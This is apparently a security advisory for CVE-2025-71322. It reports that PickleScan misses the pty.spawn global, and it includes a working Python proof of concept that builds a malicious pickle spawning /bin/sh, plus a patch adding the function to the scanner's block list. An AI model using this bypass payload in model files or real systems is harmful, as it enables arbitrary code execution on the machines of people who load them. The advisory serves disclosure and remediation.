Advisory details:
pypa / picklescan/PYSEC-2026-1790
| Advisory ID | pypa/picklescan/PYSEC-2026-1790 |
| Aliases |
CVE-2025-71322
GHSA-hgrh-qx5j-jfwx PYSEC-2026-1790 |
| Summary | Picklescan Bypasses Unsafe Globals Check using pty.spawn ### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ``` |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.9 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.8 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1790.yaml |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-06-18T15:17:59Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/71xxx/CVE-2025-71322.json
Source Advisory: vulnrichment/CVE-2025-71322
[{'Exploitation': 'none'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]